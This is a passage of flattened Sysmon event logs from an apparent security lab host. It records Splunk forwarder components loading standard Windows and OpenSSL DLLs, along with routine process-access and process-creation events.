Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000057735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000057733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000057728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.757{7BD73061-755C-613B-BC0B-00000000F001}4256C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000057721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.241{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000057720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.241{7BD73061-755C-613B-BB0B-00000000F001}59565616C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.241{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000057718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.241{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000057717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000057716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.100{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:20.085{7BD73061-755C-613B-BB0B-00000000F001}5956C:\Program 